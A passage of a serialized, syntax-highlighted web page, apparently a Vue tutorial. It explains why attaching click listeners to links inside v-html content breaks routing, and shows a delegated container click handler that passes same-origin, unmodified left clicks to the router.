{\n",{"type":33,"tag":367,"props":14238,"children":14239},{"class":369,"line":985},[14240,14245,14249,14254,14258,14262,14266,14270,14274,14278,14282,14286,14290],{"type":33,"tag":367,"props":14241,"children":14242},{"style":374},[14243],{"type":38,"value":14244},"      link",{"type":33,"tag":367,"props":14246,"children":14247},{"style":380},[14248],{"type":38,"value":174},{"type":33,"tag":367,"props":14250,"children":14251},{"style":1124},[14252],{"type":38,"value":14253},"addEventListener",{"type":33,"tag":367,"props":14255,"children":14256},{"style":533},[14257],{"type":38,"value":1131},{"type":33,"tag":367,"props":14259,"children":14260},{"style":380},[14261],{"type":38,"value":388},{"type":33,"tag":367,"props":14263,"children":14264},{"style":391},[14265],{"type":38,"value":2463},{"type":33,"tag":367,"props":14267,"children":14268},{"style":380},[14269],{"type":38,"value":388},{"type":33,"tag":367,"props":14271,"children":14272},{"style":380},[14273],{"type":38,"value":593},{"type":33,"tag":367,"props":14275,"children":14276},{"style":533},[14277],{"type":38,"value":1215},{"type":33,"tag":367,"props":14279,"children":14280},{"style":1344},[14281],{"type":38,"value":1347},{"type":33,"tag":367,"props":14283,"children":14284},{"style":533},[14285],{"type":38,"value":4242},{"type":33,"tag":367,"props":14287,"children":14288},{"style":633},[14289],{"type":38,"value":4952},{"type":33,"tag":367,"props":14291,"children":14292},{"style":533},[14293],{"type":38,"value":840},{"type":33,"tag":367,"props":14295,"children":14296},{"class":369,"line":1014},[14297,14302,14306,14311,14315],{"type":33,"tag":367,"props":14298,"children":14299},{"style":374},[14300],{"type":38,"value":14301},"        event",{"type":33,"tag":367,"props":14303,"children":14304},{"style":380},[14305],{"type":38,"value":174},{"type":33,"tag":367,"props":14307,"children":14308},{"style":1124},[14309],{"type":38,"value":14310},"preventDefault",{"type":33,"tag":367,"props":14312,"children":14313},{"style":533},[14314],{"type":38,"value":1197},{"type":33,"tag":367,"props":14316,"children":14317},{"style":380},[14318],{"type":38,"value":571},{"type":33,"tag":367,"props":14320,"children":14321},{"class":369,"line":1027},[14322,14327,14331,14336,14340,14344,14348,14353,14357,14361,14366,14370,14375],{"type":33,"tag":367,"props":14323,"children":14324},{"style":374},[14325],{"type":38,"value":14326},"        router",{"type":33,"tag":367,"props":14328,"children":14329},{"style":380},[14330],{"type":38,"value":174},{"type":33,"tag":367,"props":14332,"children":14333},{"style":1124},[14334],{"type":38,"value":14335},"push",{"type":33,"tag":367,"props":14337,"children":14338},{"style":533},[14339],{"type":38,"value":1131},{"type":33,"tag":367,"props":14341,"children":14342},{"style":374},[14343],{"type":38,"value":14174},{"type":33,"tag":367,"props":14345,"children":14346},{"style":380},[14347],{"type":38,"value":174},{"type":33,"tag":367,"props":14349,"children":14350},{"style":1124},[14351],{"type":38,"value":14352},"getAttribute",{"type":33,"tag":367,"props":14354,"children":14355},{"style":533},[14356],{"type":38,"value":1131},{"type":33,"tag":367,"props":14358,"children":14359},{"style":380},[14360],{"type":38,"value":388},{"type":33,"tag":367,"props":14362,"children":14363},{"style":391},[14364],{"type":38,"value":14365},"href",{"type":33,"tag":367,"props":14367,"children":14368},{"style":380},[14369],{"type":38,"value":388},{"type":33,"tag":367,"props":14371,"children":14372},{"style":533},[14373],{"type":38,"value":14374},"))",{"type":33,"tag":367,"props":14376,"children":14377},{"style":380},[14378],{"type":38,"value":571},{"type":33,"tag":367,"props":14380,"children":14381},{"class":369,"line":1044},[14382,14387],{"type":33,"tag":367,"props":14383,"children":14384},{"style":533},[14385],{"type":38,"value":14386},"      })",{"type":33,"tag":367,"props":14388,"children":14389},{"style":380},[14390],{"type":38,"value":571},{"type":33,"tag":367,"props":14392,"children":14393},{"class":369,"line":1074},[14394],{"type":33,"tag":367,"props":14395,"children":14396},{"style":533},[14397],{"type":38,"value":14398},"    }\n",{"type":33,"tag":367,"props":14400,"children":14401},{"class":369,"line":1086},[14402,14406],{"type":33,"tag":367,"props":14403,"children":14404},{"style":533},[14405],{"type":38,"value":5280},{"type":33,"tag":367,"props":14407,"children":14408},{"style":380},[14409],{"type":38,"value":571},{"type":33,"tag":367,"props":14411,"children":14412},{"class":369,"line":1099},[14413,14417],{"type":33,"tag":367,"props":14414,"children":14415},{"style":533},[14416],{"type":38,"value":1532},{"type":33,"tag":367,"props":14418,"children":14419},{"style":380},[14420],{"type":38,"value":571},{"type":33,"tag":367,"props":14422,"children":14423},{"class":369,"line":1107},[14424,14428,14432],{"type":33,"tag":367,"props":14425,"children":14426},{"style":1974},[14427],{"type":38,"value":2382},{"type":33,"tag":367,"props":14429,"children":14430},{"style":1980},[14431],{"type":38,"value":1983},{"type":33,"tag":367,"props":14433,"children":14434},{"style":1974},[14435],{"type":38,"value":2015},{"type":33,"tag":367,"props":14437,"children":14438},{"class":369,"line":1148},[14439],{"type":33,"tag":367,"props":14440,"children":14441},{"emptyLinePlaceholder":726},[14442],{"type":38,"value":729},{"type":33,"tag":367,"props":14444,"children":14445},{"class":369,"line":1156},[14446,14450,14454],{"type":33,"tag":367,"props":14447,"children":14448},{"style":1974},[14449],{"type":38,"value":1977},{"type":33,"tag":367,"props":14451,"children":14452},{"style":1980},[14453],{"type":38,"value":2409},{"type":33,"tag":367,"props":14455,"children":14456},{"style":1974},[14457],{"type":38,"value":2015},{"type":33,"tag":367,"props":14459,"children":14460},{"class":369,"line":1165},[14461,14465,14470,14474,14478,14482,14486,14490,14495,14499,14503,14508,14512,14517,14521,14527],{"type":33,"tag":367,"props":14462,"children":14463},{"style":1974},[14464],{"type":38,"value":2421},{"type":33,"tag":367,"props":14466,"children":14467},{"style":1980},[14468],{"type":38,"value":14469},"div",{"type":33,"tag":367,"props":14471,"children":14472},{"style":633},[14473],{"type":38,"value":4106},{"type":33,"tag":367,"props":14475,"children":14476},{"style":380},[14477],{"type":38,"value":383},{"type":33,"tag":367,"props":14479,"children":14480},{"style":380},[14481],{"type":38,"value":388},{"type":33,"tag":367,"props":14483,"children":14484},{"style":391},[14485],{"type":38,"value":30},{"type":33,"tag":367,"props":14487,"children":14488},{"style":380},[14489],{"type":38,"value":388},{"type":33,"tag":367,"props":14491,"children":14492},{"style":633},[14493],{"type":38,"value":14494}," v-html",{"type":33,"tag":367,"props":14496,"children":14497},{"style":380},[14498],{"type":38,"value":383},{"type":33,"tag":367,"props":14500,"children":14501},{"style":380},[14502],{"type":38,"value":388},{"type":33,"tag":367,"props":14504,"children":14505},{"style":374},[14506],{"type":38,"value":14507},"props",{"type":33,"tag":367,"props":14509,"children":14510},{"style":380},[14511],{"type":38,"value":174},{"type":33,"tag":367,"props":14513,"children":14514},{"style":527},[14515],{"type":38,"value":14516},"html",{"type":33,"tag":367,"props":14518,"children":14519},{"style":380},[14520],{"type":38,"value":388},{"type":33,"tag":367,"props":14522,"children":14524},{"style":14523},"--shiki-default:#FF5370",[14525],{"type":38,"value":14526}," /",{"type":33,"tag":367,"props":14528,"children":14529},{"style":1974},[14530],{"type":38,"value":2015},{"type":33,"tag":367,"props":14532,"children":14533},{"class":369,"line":1204},[14534,14538,14542],{"type":33,"tag":367,"props":14535,"children":14536},{"style":1974},[14537],{"type":38,"value":2382},{"type":33,"tag":367,"props":14539,"children":14540},{"style":1980},[14541],{"type":38,"value":2409},{"type":33,"tag":367,"props":14543,"children":14544},{"style":1974},[14545],{"type":38,"value":2015},{"type":33,"tag":34,"props":14547,"children":14548},{},[14549],{"type":38,"value":14550},"It works on the page you tested it on. Four things are wrong with it.",{"type":33,"tag":34,"props":14552,"children":14553},{},[14554,14556,14561],{"type":38,"value":14555},"It runs once, at mount. When the ",{"type":33,"tag":41,"props":14557,"children":14559},{"className":14558},[],[14560],{"type":38,"value":14516},{"type":38,"value":14562}," prop changes, and it will, because that is the entire reason the content is dynamic, the replacement anchors have no listeners. Half the links on the page route and half reload, depending on when the content arrived.",{"type":33,"tag":34,"props":14564,"children":14565},{},[14566,14568,14573,14575,14581],{"type":38,"value":14567},"Nothing ever removes the listeners. If you patch the first problem by re-running the walk in a ",{"type":33,"tag":41,"props":14569,"children":14571},{"className":14570},[],[14572],{"type":38,"value":3199},{"type":38,"value":14574},", every pass adds another handler to any anchor that survived, and a single click fires ",{"type":33,"tag":41,"props":14576,"children":14578},{"className":14577},[],[14579],{"type":38,"value":14580},"router.push",{"type":38,"value":14582}," three times.",{"type":33,"tag":34,"props":14584,"children":14585},{},[14586,14587,14592,14594,14600,14602,14608,14610,14615],{"type":38,"value":1727},{"type":33,"tag":41,"props":14588,"children":14590},{"className":14589},[],[14591],{"type":38,"value":14227},{"type":38,"value":14593}," check is the wrong test for \"is this link internal\". A link to ",{"type":33,"tag":41,"props":14595,"children":14597},{"className":14596},[],[14598],{"type":38,"value":14599},"https://stripe.com/docs",{"type":38,"value":14601}," written without ",{"type":33,"tag":41,"props":14603,"children":14605},{"className":14604},[],[14606],{"type":38,"value":14607},"target=\"_blank\"",{"type":38,"value":14609}," passes the check, gets handed to ",{"type":33,"tag":41,"props":14611,"children":14613},{"className":14612},[],[14614],{"type":38,"value":14580},{"type":38,"value":14616},", fails to match any route, and drops the user on your 404 page instead of Stripe.",{"type":33,"tag":34,"props":14618,"children":14619},{},[14620,14622,14628,14630,14636,14637,14643],{"type":38,"value":14621},"Modified clicks get swallowed. ",{"type":33,"tag":41,"props":14623,"children":14625},{"className":14624},[],[14626],{"type":38,"value":14627},"event.preventDefault()",{"type":38,"value":14629}," fires before anything looks at ",{"type":33,"tag":41,"props":14631,"children":14633},{"className":14632},[],[14634],{"type":38,"value":14635},"ctrlKey",{"type":38,"value":3627},{"type":33,"tag":41,"props":14638,"children":14640},{"className":14639},[],[14641],{"type":38,"value":14642},"metaKey",{"type":38,"value":14644},", so cmd-click no longer opens a new tab. Users notice this one immediately.",{"type":33,"tag":95,"props":14646,"children":14648},{"id":14647},"one-listener-on-the-container",[14649],{"type":38,"value":14650},"One Listener on the Container",{"type":33,"tag":34,"props":14652,"children":14653},{},[14654],{"type":38,"value":14655},"Put the handler on the wrapper instead and let the clicks come to you.",{"type":33,"tag":357,"props":14657,"children":14659},{"code":14658,"language":562,"meta":7,"className":1963,"style":7},"\u003Cscript setup>\nimport { useRouter } from \"vue-router\";\n\nconst props = defineProps({\n  html: { type: String, required: true },\n});\n\nconst router = useRouter();\n\nfunction onClick(event) {\n  // Something upstream already handled this click.\n  if (event.defaultPrevented) return;\n\n  // Left button only. The browser opens new tabs better than we do.\n  if (event.button !== 0) return;\n  if (event.metaKey || event.ctrlKey || event.shiftKey || event.altKey) return;\n\n  // The click may land on a \u003Cstrong> or \u003Cem> nested inside the anchor.\n  const link = event.target.closest(\"a\");\n  if (!link) return;\n\n  // Anything explicitly aimed elsewhere stays with the browser.\n  if (link.target && link.target !== \"_self\") return;\n  if (link.hasAttribute(\"download\")) return;\n\n  const href = link.getAttribute(\"href\");\n  if (!href) return;\n\n  // Resolves relative paths, and gives a null origin for mailto: and tel:.\n  const url = new URL(href, window.location.href);\n  if (url.origin !== window.location.origin) return;\n\n  event.preventDefault();\n  router.push(url.pathname + url.search + url.hash);\n}\n\u003C/script>\n\n\u003Ctemplate>\n  \u003Cdiv class=\"rich-text\" @click=\"onClick\" v-html=\"props.html\" />\n\u003C/template>\n",[14660],{"type":33,"tag":41,"props":14661,"children":14662},{"__ignoreMap":7},[14663,14682,14721,14728,14751,14802,14813,14820,14847,14854,14883,14891,14927,14934,14942,14986,15071,15078,15086,15147,15178,15185,15193,15261,15314,15321,15373,15404,15411,15419,15486,15547,15554,15578,15652,15659,15674,15681,15696,15790],{"type":33,"tag":367,"props":14664,"children":14665},{"class":369,"line":370},[14666,14670,14674,14678],{"type":33,"tag":367,"props":14667,"children":14668},{"style":1974},[14669],{"type":38,"value":1977},{"type":33,"tag":367,"props":14671,"children":14672},{"style":1980},[14673],{"type":38,"value":1983},{"type":33,"tag":367,"props":14675,"children":14676},{"style":633},[14677],{"type":38,"value":1988},{"type":33,"tag":367,"props":14679,"children":14680},{"style":1974},[14681],{"type":38,"value":2015},{"type":33,"tag":367,"props":14683,"children":14684},{"class":369,"line":402},[14685,14689,14693,14697,14701,14705,14709,14713,14717],{"type":33,"tag":367,"props":14686,"children":14687},{"style":527},[14688],{"type":38,"value":530},{"type":33,"tag":367,"props":14690,"children":14691},{"style":533},[14692],{"type":38,"value":536},{"type":33,"tag":367,"props":14694,"children":14695},{"style":539},[14696],{"type":38,"value":13894},{"type":33,"tag":367,"props":14698,"children":14699},{"style":533},[14700],{"type":38,"value":547},{"type":33,"tag":367,"props":14702,"children":14703},{"style":527},[14704],{"type":38,"value":552},{"type":33,"tag":367,"props":14706,"children":14707},{"style":380},[14708],{"type":38,"value":557},{"type":33,"tag":367,"props":14710,"children":14711},{"style":391},[14712],{"type":38,"value":4822},{"type":33,"tag":367,"props":14714,"children":14715},{"style":380},[14716],{"type":38,"value":388},{"type":33,"tag":367,"props":14718,"children":14719},{"style":380},[14720],{"type":38,"value":571},{"type":33,"tag":367,"props":14722,"children":14723},{"class":369,"line":574},[14724],{"type":33,"tag":367,"props":14725,"children":14726},{"emptyLinePlaceholder":726},[14727],{"type":38,"value":729},{"type":33,"tag":367,"props":14729,"children":14730},{"class":369,"line":625},[14731,14735,14739,14743,14747],{"type":33,"tag":367,"props":14732,"children":14733},{"style":812},[14734],{"type":38,"value":815},{"type":33,"tag":367,"props":14736,"children":14737},{"style":633},[14738],{"type":38,"value":13937},{"type":33,"tag":367,"props":14740,"children":14741},{"style":380},[14742],{"type":38,"value":835},{"type":33,"tag":367,"props":14744,"children":14745},{"style":1124},[14746],{"type":38,"value":13946},{"type":33,"tag":367,"props":14748,"children":14749},{"style":533},[14750],{"type":38,"value":5178},{"type":33,"tag":367,"props":14752,"children":14753},{"class":369,"line":681},[14754,14758,14762,14766,14770,14774,14778,14782,14786,14790,14794,14798],{"type":33,"tag":367,"props":14755,"children":14756},{"style":847},[14757],{"type":38,"value":13958},{"type":33,"tag":367,"props":14759,"children":14760},{"style":380},[14761],{"type":38,"value":825},{"type":33,"tag":367,"props":14763,"children":14764},{"style":533},[14765],{"type":38,"value":1854},{"type":33,"tag":367,"props":14767,"children":14768},{"style":847},[14769],{"type":38,"value":636},{"type":33,"tag":367,"props":14771,"children":14772},{"style":380},[14773],{"type":38,"value":825},{"type":33,"tag":367,"props":14775,"children":14776},{"style":374},[14777],{"type":38,"value":5928},{"type":33,"tag":367,"props":14779,"children":14780},{"style":380},[14781],{"type":38,"value":593},{"type":33,"tag":367,"props":14783,"children":14784},{"style":847},[14785],{"type":38,"value":13987},{"type":33,"tag":367,"props":14787,"children":14788},{"style":380},[14789],{"type":38,"value":825},{"type":33,"tag":367,"props":14791,"children":14792},{"style":901},[14793],{"type":38,"value":5005},{"type":33,"tag":367,"props":14795,"children":14796},{"style":533},[14797],{"type":38,"value":547},{"type":33,"tag":367,"props":14799,"children":14800},{"style":380},[14801],{"type":38,"value":908},{"type":33,"tag":367,"props":14803,"children":14804},{"class":369,"line":722},[14805,14809],{"type":33,"tag":367,"props":14806,"children":14807},{"style":533},[14808],{"type":38,"value":1532},{"type":33,"tag":367,"props":14810,"children":14811},{"style":380},[14812],{"type":38,"value":571},{"type":33,"tag":367,"props":14814,"children":14815},{"class":369,"line":732},[14816],{"type":33,"tag":367,"props":14817,"children":14818},{"emptyLinePlaceholder":726},[14819],{"type":38,"value":729},{"type":33,"tag":367,"props":14821,"children":14822},{"class":369,"line":766},[14823,14827,14831,14835,14839,14843],{"type":33,"tag":367,"props":14824,"children":14825},{"style":812},[14826],{"type":38,"value":815},{"type":33,"tag":367,"props":14828,"children":14829},{"style":633},[14830],{"type":38,"value":776},{"type":33,"tag":367,"props":14832,"children":14833},{"style":380},[14834],{"type":38,"value":835},{"type":33,"tag":367,"props":14836,"children":14837},{"style":1124},[14838],{"type":38,"value":14077},{"type":33,"tag":367,"props":14840,"children":14841},{"style":533},[14842],{"type":38,"value":1197},{"type":33,"tag":367,"props":14844,"children":14845},{"style":380},[14846],{"type":38,"value":571},{"type":33,"tag":367,"props":14848,"children":14849},{"class":369,"line":800},[14850],{"type":33,"tag":367,"props":14851,"children":14852},{"emptyLinePlaceholder":726},[14853],{"type":38,"value":729},{"type":33,"tag":367,"props":14855,"children":14856},{"class":369,"line":808},[14857,14862,14867,14871,14875,14879],{"type":33,"tag":367,"props":14858,"children":14859},{"style":633},[14860],{"type":38,"value":14861},"function",{"type":33,"tag":367,"props":14863,"children":14864},{"style":1124},[14865],{"type":38,"value":14866}," onClick",{"type":33,"tag":367,"props":14868,"children":14869},{"style":533},[14870],{"type":38,"value":1131},{"type":33,"tag":367,"props":14872,"children":14873},{"style":1344},[14874],{"type":38,"value":1347},{"type":33,"tag":367,"props":14876,"children":14877},{"style":533},[14878],{"type":38,"value":1141},{"type":33,"tag":367,"props":14880,"children":14881},{"style":533},[14882],{"type":38,"value":840},{"type":33,"tag":367,"props":14884,"children":14885},{"class":369,"line":843},[14886],{"type":33,"tag":367,"props":14887,"children":14888},{"style":518},[14889],{"type":38,"value":14890},"  // Something upstream already handled this click.\n",{"type":33,"tag":367,"props":14892,"children":14893},{"class":369,"line":861},[14894,14898,14902,14906,14910,14915,14919,14923],{"type":33,"tag":367,"props":14895,"children":14896},{"style":633},[14897],{"type":38,"value":1369},{"type":33,"tag":367,"props":14899,"children":14900},{"style":533},[14901],{"type":38,"value":1215},{"type":33,"tag":367,"props":14903,"children":14904},{"style":374},[14905],{"type":38,"value":1347},{"type":33,"tag":367,"props":14907,"children":14908},{"style":380},[14909],{"type":38,"value":174},{"type":33,"tag":367,"props":14911,"children":14912},{"style":527},[14913],{"type":38,"value":14914},"defaultPrevented",{"type":33,"tag":367,"props":14916,"children":14917},{"style":533},[14918],{"type":38,"value":4242},{"type":33,"tag":367,"props":14920,"children":14921},{"style":3682},[14922],{"type":38,"value":4247},{"type":33,"tag":367,"props":14924,"children":14925},{"style":380},[14926],{"type":38,"value":571},{"type":33,"tag":367,"props":14928,"children":14929},{"class":369,"line":911},[14930],{"type":33,"tag":367,"props":14931,"children":14932},{"emptyLinePlaceholder":726},[14933],{"type":38,"value":729},{"type":33,"tag":367,"props":14935,"children":14936},{"class":369,"line":956},[14937],{"type":33,"tag":367,"props":14938,"children":14939},{"style":518},[14940],{"type":38,"value":14941},"  // Left button only. The browser opens new tabs better than we do.\n",{"type":33,"tag":367,"props":14943,"children":14944},{"class":369,"line":985},[14945,14949,14953,14957,14961,14965,14970,14974,14978,14982],{"type":33,"tag":367,"props":14946,"children":14947},{"style":633},[14948],{"type":38,"value":1369},{"type":33,"tag":367,"props":14950,"children":14951},{"style":533},[14952],{"type":38,"value":1215},{"type":33,"tag":367,"props":14954,"children":14955},{"style":374},[14956],{"type":38,"value":1347},{"type":33,"tag":367,"props":14958,"children":14959},{"style":380},[14960],{"type":38,"value":174},{"type":33,"tag":367,"props":14962,"children":14963},{"style":527},[14964],{"type":38,"value":2426},{"type":33,"tag":367,"props":14966,"children":14967},{"style":633},[14968],{"type":38,"value":14969}," !==",{"type":33,"tag":367,"props":14971,"children":14972},{"style":901},[14973],{"type":38,"value":1239},{"type":33,"tag":367,"props":14975,"children":14976},{"style":533},[14977],{"type":38,"value":4242},{"type":33,"tag":367,"props":14979,"children":14980},{"style":3682},[14981],{"type":38,"value":4247},{"type":33,"tag":367,"props":14983,"children":14984},{"style":380},[14985],{"type":38,"value":571},{"type":33,"tag":367,"props":14987,"children":14988},{"class":369,"line":1014},[14989,14993,14997,15001,15005,15009,15013,15017,15021,15025,15029,15033,15037,15042,15046,15050,15054,15059,15063,15067],{"type":33,"tag":367,"props":14990,"children":14991},{"style":633},[14992],{"type":38,"value":1369},{"type":33,"tag":367,"props":14994,"children":14995},{"style":533},[14996],{"type":38,"value":1215},{"type":33,"tag":367,"props":14998,"children":14999},{"style":374},[15000],{"type":38,"value":1347},{"type":33,"tag":367,"props":15002,"children":15003},{"style":380},[15004],{"type":38,"value":174},{"type":33,"tag":367,"props":15006,"children":15007},{"style":527},[15008],{"type":38,"value":14642},{"type":33,"tag":367,"props":15010,"children":15011},{"style":633},[15012],{"type":38,"value":7396},{"type":33,"tag":367,"props":15014,"children":15015},{"style":374},[15016],{"type":38,"value":1415},{"type":33,"tag":367,"props":15018,"children":15019},{"style":380},[15020],{"type":38,"value":174},{"type":33,"tag":367,"props":15022,"children":15023},{"style":527},[15024],{"type":38,"value":14635},{"type":33,"tag":367,"props":15026,"children":15027},{"style":633},[15028],{"type":38,"value":7396},{"type":33,"tag":367,"props":15030,"children":15031},{"style":374},[15032],{"type":38,"value":1415},{"type":33,"tag":367,"props":15034,"children":15035},{"style":380},[15036],{"type":38,"value":174},{"type":33,"tag":367,"props":15038,"children":15039},{"style":527},[15040],{"type":38,"value":15041},"shiftKey",{"type":33,"tag":367,"props":15043,"children":15044},{"style":633},[15045],{"type":38,"value":7396},{"type":33,"tag":367,"props":15047,"children":15048},{"style":374},[15049],{"type":38,"value":1415},{"type":33,"tag":367,"props":15051,"children":15052},{"style":380},[15053],{"type":38,"value":174},{"type":33,"tag":367,"props":15055,"children":15056},{"style":527},[15057],{"type":38,"value":15058},"altKey",{"type":33,"tag":367,"props":15060,"children":15061},{"style":533},[15062],{"type":38,"value":4242},{"type":33,"tag":367,"props":15064,"children":15065},{"style":3682},[15066],{"type":38,"value":4247},{"type":33,"tag":367,"props":15068,"children":15069},{"style":380},[15070],{"type":38,"value":571},{"type":33,"tag":367,"props":15072,"children":15073},{"class":369,"line":1027},[15074],{"type":33,"tag":367,"props":15075,"children":15076},{"emptyLinePlaceholder":726},[15077],{"type":38,"value":729},{"type":33,"tag":367,"props":15079,"children":15080},{"class":369,"line":1044},[15081],{"type":33,"tag":367,"props":15082,"children":15083},{"style":518},[15084],{"type":38,"value":15085},"  // The click may land on a \u003Cstrong> or \u003Cem> nested inside the anchor.\n",{"type":33,"tag":367,"props":15087,"children":15088},{"class":369,"line":1074},[15089,15093,15098,15102,15106,15110,15114,15118,15123,15127,15131,15135,15139,15143],{"type":33,"tag":367,"props":15090,"children":15091},{"style":812},[15092],{"type":38,"value":5839},{"type":33,"tag":367,"props":15094,"children":15095},{"style":633},[15096],{"type":38,"value":15097}," link",{"type":33,"tag":367,"props":15099,"children":15100},{"style":380},[15101],{"type":38,"value":835},{"type":33,"tag":367,"props":15103,"children":15104},{"style":374},[15105],{"type":38,"value":1415},{"type":33,"tag":367,"props":15107,"children":15108},{"style":380},[15109],{"type":38,"value":174},{"type":33,"tag":367,"props":15111,"children":15112},{"style":527},[15113],{"type":38,"value":14227},{"type":33,"tag":367,"props":15115,"children":15116},{"style":380},[15117],{"type":38,"value":174},{"type":33,"tag":367,"props":15119,"children":15120},{"style":1124},[15121],{"type":38,"value":15122},"closest",{"type":33,"tag":367,"props":15124,"children":15125},{"style":533},[15126],{"type":38,"value":1131},{"type":33,"tag":367,"props":15128,"children":15129},{"style":380},[15130],{"type":38,"value":388},{"type":33,"tag":367,"props":15132,"children":15133},{"style":391},[15134],{"type":38,"value":68},{"type":33,"tag":367,"props":15136,"children":15137},{"style":380},[15138],{"type":38,"value":388},{"type":33,"tag":367,"props":15140,"children":15141},{"style":533},[15142],{"type":38,"value":1141},{"type":33,"tag":367,"props":15144,"children":15145},{"style":380},[15146],{"type":38,"value":571},{"type":33,"tag":367,"props":15148,"children":15149},{"class":369,"line":1086},[15150,15154,15158,15162,15166,15170,15174],{"type":33,"tag":367,"props":15151,"children":15152},{"style":633},[15153],{"type":38,"value":1369},{"type":33,"tag":367,"props":15155,"children":15156},{"style":533},[15157],{"type":38,"value":1215},{"type":33,"tag":367,"props":15159,"children":15160},{"style":633},[15161],{"type":38,"value":2444},{"type":33,"tag":367,"props":15163,"children":15164},{"style":374},[15165],{"type":38,"value":14174},{"type":33,"tag":367,"props":15167,"children":15168},{"style":533},[15169],{"type":38,"value":4242},{"type":33,"tag":367,"props":15171,"children":15172},{"style":3682},[15173],{"type":38,"value":4247},{"type":33,"tag":367,"props":15175,"children":15176},{"style":380},[15177],{"type":38,"value":571},{"type":33,"tag":367,"props":15179,"children":15180},{"class":369,"line":1099},[15181],{"type":33,"tag":367,"props":15182,"children":15183},{"emptyLinePlaceholder":726},[15184],{"type":38,"value":729},{"type":33,"tag":367,"props":15186,"children":15187},{"class":369,"line":1107},[15188],{"type":33,"tag":367,"props":15189,"children":15190},{"style":518},[15191],{"type":38,"value":15192},"  // Anything explicitly aimed elsewhere stays with the browser.\n",{"type":33,"tag":367,"props":15194,"children":15195},{"class":369,"line":1148},[15196,15200,15204,15208,15212,15216,15220,15224,15228,15232,15236,15240,15245,15249,15253,15257],{"type":33,"tag":367,"props":15197,"children":15198},{"style":633},[15199],{"type":38,"value":1369},{"type":33,"tag":367,"props":15201,"children":15202},{"style":533},[15203],{"type":38,"value":1215},{"type":33,"tag":367,"props":15205,"children":15206},{"style":374},[15207],{"type":38,"value":14174},{"type":33,"tag":367,"props":15209,"children":15210},{"style":380},[15211],{"type":38,"value":174},{"type":33,"tag":367,"props":15213,"children":15214},{"style":527},[15215],{"type":38,"value":14227},{"type":33,"tag":367,"props":15217,"children":15218},{"style":633},[15219],{"type":38,"value":1410},{"type":33,"tag":367,"props":15221,"children":15222},{"style":374},[15223],{"type":38,"value":15097},{"type":33,"tag":367,"props":15225,"children":15226},{"style":380},[15227],{"type":38,"value":174},{"type":33,"tag":367,"props":15229,"children":15230},{"style":527},[15231],{"type":38,"value":14227},{"type":33,"tag":367,"props":15233,"children":15234},{"style":633},[15235],{"type":38,"value":14969},{"type":33,"tag":367,"props":15237,"children":15238},{"style":380},[15239],{"type":38,"value":557},{"type":33,"tag":367,"props":15241,"children":15242},{"style":391},[15243],{"type":38,"value":15244},"_self",{"type":33,"tag":367,"props":15246,"children":15247},{"style":380},[15248],{"type":38,"value":388},{"type":33,"tag":367,"props":15250,"children":15251},{"style":533},[15252],{"type":38,"value":4242},{"type":33,"tag":367,"props":15254,"children":15255},{"style":3682},[15256],{"type":38,"value":4247},{"type":33,"tag":367,"props":15258,"children":15259},{"style":380},[15260],{"type":38,"value":571},{"type":33,"tag":367,"props":15262,"children":15263},{"class":369,"line":1156},[15264,15268,15272,15276,15280,15284,15288,15292,15297,15301,15306,15310],{"type":33,"tag":367,"props":15265,"children":15266},{"style":633},[15267],{"type":38,"value":1369},{"type":33,"tag":367,"props":15269,"children":15270},{"style":533},[15271],{"type":38,"value":1215},{"type":33,"tag":367,"props":15273,"children":15274},{"style":374},[15275],{"type":38,"value":14174},{"type":33,"tag":367,"props":15277,"children":15278},{"style":380},[15279],{"type":38,"value":174},{"type":33,"tag":367,"props":15281,"children":15282},{"style":1124},[15283],{"type":38,"value":14214},{"type":33,"tag":367,"props":15285,"children":15286},{"style":533},[15287],{"type":38,"value":1131},{"type":33,"tag":367,"props":15289,"children":15290},{"style":380},[15291],{"type":38,"value":388},{"type":33,"tag":367,"props":15293,"children":15294},{"style":391},[15295],{"type":38,"value":15296},"download",{"type":33,"tag":367,"props":15298,"children":15299},{"style":380},[15300],{"type":38,"value":388},{"type":33,"tag":367,"props":15302,"children":15303},{"style":533},[15304],{"type":38,"value":15305},")) ",{"type":33,"tag":367,"props":15307,"children":15308},{"style":3682},[15309],{"type":38,"value":4247},{"type":33,"tag":367,"props":15311,"children":15312},{"style":380},[15313],{"type":38,"value":571},{"type":33,"tag":367,"props":15315,"children":15316},{"class":369,"line":1165},[15317],{"type":33,"tag":367,"props":15318,"children":15319},{"emptyLinePlaceholder":726},[15320],{"type":38,"value":729},{"type":33,"tag":367,"props":15322,"children":15323},{"class":369,"line":1204},[15324,15328,15333,15337,15341,15345,15349,15353,15357,15361,15365,15369],{"type":33,"tag":367,"props":15325,"children":15326},{"style":812},[15327],{"type":38,"value":5839},{"type":33,"tag":367,"props":15329,"children":15330},{"style":633},[15331],{"type":38,"value":15332}," href",{"type":33,"tag":367,"props":15334,"children":15335},{"style":380},[15336],{"type":38,"value":835},{"type":33,"tag":367,"props":15338,"children":15339},{"style":374},[15340],{"type":38,"value":15097},{"type":33,"tag":367,"props":15342,"children":15343},{"style":380},[15344],{"type":38,"value":174},{"type":33,"tag":367,"props":15346,"children":15347},{"style":1124},[15348],{"type":38,"value":14352},{"type":33,"tag":367,"props":15350,"children":15351},{"style":533},[15352],{"type":38,"value":1131},{"type":33,"tag":367,"props":15354,"children":15355},{"style":380},[15356],{"type":38,"value":388},{"type":33,"tag":367,"props":15358,"children":15359},{"style":391},[15360],{"type":38,"value":14365},{"type":33,"tag":367,"props":15362,"children":15363},{"style":380},[15364],{"type":38,"value":388},{"type":33,"tag":367,"props":15366,"children":15367},{"style":533},[15368],{"type":38,"value":1141},{"type":33,"tag":367,"props":15370,"children":15371},{"style":380},[15372],{"type":38,"value":571},{"type":33,"tag":367,"props":15374,"children":15375},{"class":369,"line":1250},[15376,15380,15384,15388,15392,15396,15400],{"type":33,"tag":367,"props":15377,"children":15378},{"style":633},[15379],{"type":38,"value":1369},{"type":33,"tag":367,"props":15381,"children":15382},{"style":533},[15383],{"type":38,"value":1215},{"type":33,"tag":367,"props":15385,"children":15386},{"style":633},[15387],{"type":38,"value":2444},{"type":33,"tag":367,"props":15389,"children":15390},{"style":374},[15391],{"type":38,"value":14365},{"type":33,"tag":367,"props":15393,"children":15394},{"style":533},[15395],{"type":38,"value":4242},{"type":33,"tag":367,"props":15397,"children":15398},{"style":3682},[15399],{"type":38,"value":4247},{"type":33,"tag":367,"props":15401,"children":15402},{"style":380},[15403],{"type":38,"value":571},{"type":33,"tag":367,"props":15405,"children":15406},{"class":369,"line":1295},[15407],{"type":33,"tag":367,"props":15408,"children":15409},{"emptyLinePlaceholder":726},[15410],{"type":38,"value":729},{"type":33,"tag":367,"props":15412,"children":15413},{"class":369,"line":1304},[15414],{"type":33,"tag":367,"p